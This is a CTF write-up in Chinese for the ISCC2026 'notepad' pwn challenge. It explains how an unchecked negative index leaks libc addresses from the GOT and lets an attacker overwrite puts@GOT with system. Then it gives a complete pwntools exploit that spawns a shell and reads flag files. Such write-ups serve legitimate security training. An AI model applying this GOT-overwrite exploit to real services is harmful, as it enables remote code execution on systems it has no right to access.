PWN-notepad
ISCC2026 WriteUp 提交模板
PWN-notepad
解题思路
1.看下检测:

有PIE所以需要泄露地址
2.打开IDA,程序整体很简单,只有两个关键函数:
Create NoteView Note

1.创建笔记

也就是结构体:
struct note {
char name[0x10];
char content[0x20];
};
跟踪下buf获取逻辑:

(这里我们变量n9称呼为索引idx)
.bss:00000000000035A0 notes db ? ;
也就是说在0x35A0处,创建笔记,每个note大小为0x30。
其次注意if检查那里,因为只检查了小于等于9,没有检测是否大于0,所以可以使用数组的负索引。
通过view函数我们就可以进行负索引泄露。
往上翻,即使got表地址,后续可以使用这个负索引泄露got地址。

可以看到一些关键的偏移:
`notes = 0x35a0`
- `puts@got = 0x34d0`
- `printf@got = 0x34e0`
- `read@got = 0x34f0`
- `exit@got = 0x3510`
- `__libc_start_main@got = 0x3520`
我们根据这些偏移以及数组索引漏洞可以得到下面内容:
当索引=-4时
notes - 4 * 0x30 = 0x34e0
name -> 0x34e0 -> printf@got //上面note结构体刚好也是0x10,这里刚好。
content -> 0x34f0 -> read@got
所以用 view(-4) 可以泄露 GOT 中的 libc 地址。
其次 idx = -3时:
notes - 3 * 0x30 = 0x3510
name -> 0x3510 -> exit@got
content -> 0x3520 -> __libc_start_main@got
本地利用时,用 view(-3) 更方便直接泄露 __libc_start_main。
接下来我们就需要考虑怎么修改got表了,显然还是利用这个漏洞和create_note函数了:
// create_note() 函数会向 name字段写入0x10(16)字节,向 content 字段写入 0x20(32)字节,写入的目标地址由 get_note() 返回的指针决定。当索引 idx = -5 时,content 的写入范围会与内存地址 0x34c0 到 0x34df重叠,而其中第 3 个 qword(8 字节,即偏移 0x10 处)恰好命中 puts@GOT(全局偏移表中的 puts 地址),该地址位于 0x34d0。
ssize_t create_note()
{
char *buf; // [rsp+8h] [rbp-8h]
buf = get_note();
printf("Name: ");
read(0, buf, 0x10u);
printf("Content: ");
return read(0, buf + 16, 0x20u);
}
idx = -5`
notes - 5 * 0x30 = 0x34b0
content = 0x34c0
所以 create(-5) 的 content 会覆盖:
0x34c0 ~ 0x34df
0x34c0 : qword0
0x34c8 : qword1
0x34d0 : qword2 -> puts@got
0x34d8 : qword3
因此只要把第 3 个 qword 写成 system,就能把 puts@got 改成 system。
利用思路已经很完善了,写完exp运行有:

ISCC{f59b1113-668f-4f84-bf58-ba1086fb189b}
Exp
from pwn import *
#from Crypto.Util.number import long_to_bytes, bytes_to_long
#==============全局配置=======================
ELFpath = "./notepad"
LOCAL = False
HOST = "39.96.193.120"
PORT = 10005
NOASLR = False
REMOTE_READ_OFF = 0x10E1E0
REMOTE_SYSTEM_OFF = 0x52290
#===============初始化========================
context(os="linux", arch="amd64", log_level="debug")
if LOCAL:
io = process(ELFpath, aslr=not NOASLR)
else:
io = remote(HOST, PORT)
# gdb.attach(io)
elf = ELF(ELFpath)
libc = ELF("./libc.so.6")
#=================简化======================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)
#====================业务常量====================
NAME_LEN = 0x10
CONTENT_LEN = 0x20
#================工具函数====================
def debug(io):
input() # 在脚本窗口点击回车,才会继续执行
gdb.attach(io)
# 记住调试时在脚本最后一行放个input()防止程序退出
def menu_choice(idx):
sl(str(idx).encode())
def menu_create(idx, name, content):
assert len(name) == NAME_LEN
assert len(content) == CONTENT_LEN
menu_choice(1)
ru(b"Index: ")
sl(str(idx).encode())
sda(b"Name: ", name)
sda(b"Content: ", content)
ru(b"> ")
def menu_view(idx):
menu_choice(2)
ru(b"Index: ")
sl(str(idx).encode())
ru(b"Name: ")
name = ru(b"\nContent: ", drop=True)
content = ru(b"\n> ", drop=True)
return name, content
def leak_libc():
global libc
if LOCAL:
_, content = menu_view(-3)
leak = u64(content[:8].ljust(8, b"\x00"))
libc.address = leak - libc.sym["__libc_start_main"]
log.success("__libc_start_main leak -> libc_base = %#x" % libc.address)
else:
_, content = menu_view(-4)
leak = u64(content[:8].ljust(8, b"\x00"))
libc.address = leak - REMOTE_READ_OFF
log.success("read leak -> libc_base = %#x" % libc.address)
def overwrite_puts():
if LOCAL:
system_addr = libc.sym["system"]
else:
system_addr = libc.address + REMOTE_SYSTEM_OFF
log.success("system = %#x" % system_addr)
# notes[-5].content == 0x34c0, its 3rd qword hits puts@got(0x34d0).
payload = p64(0) + p64(0) + p64(system_addr) + p64(0)
menu_create(-5, b"Z" * NAME_LEN, payload)
def create_shell_note():
if LOCAL:
cmd_name = b"true\x00".ljust(NAME_LEN, b"A")
cmd_content = b"cat /flag*;cat *flag*\x00".ljust(CONTENT_LEN, b"B")
else:
cmd_name = b"sh\x00".ljust(NAME_LEN, b"A")
cmd_content = b"sh\x00".ljust(CONTENT_LEN, b"B")
menu_create(0, cmd_name, cmd_content)
def trigger():
menu_choice(2)
ru(b"Index: ")
sl(b"0")
def attack():
leak_libc()
create_shell_note()
overwrite_puts()
if not LOCAL:
trigger()
ru(b"Name: ")
sl(b"cat /flag 2>/dev/null || cat /flag* 2>/dev/null || find / -maxdepth 3 -name 'flag*' 2>/dev/null; exit")
out1 = ru(b"Content: ")
print(out1.decode("latin1", "replace"))
sl(b"exit")
out2 = rc(4096, timeout=2)
if out2:
print(out2.decode("latin1", "replace"))
return
trigger()
#============实现========================
ru(b"> ")
attack()
if LOCAL:
io.interactive()
else:
io.close()

浙公网安备 33010602011771号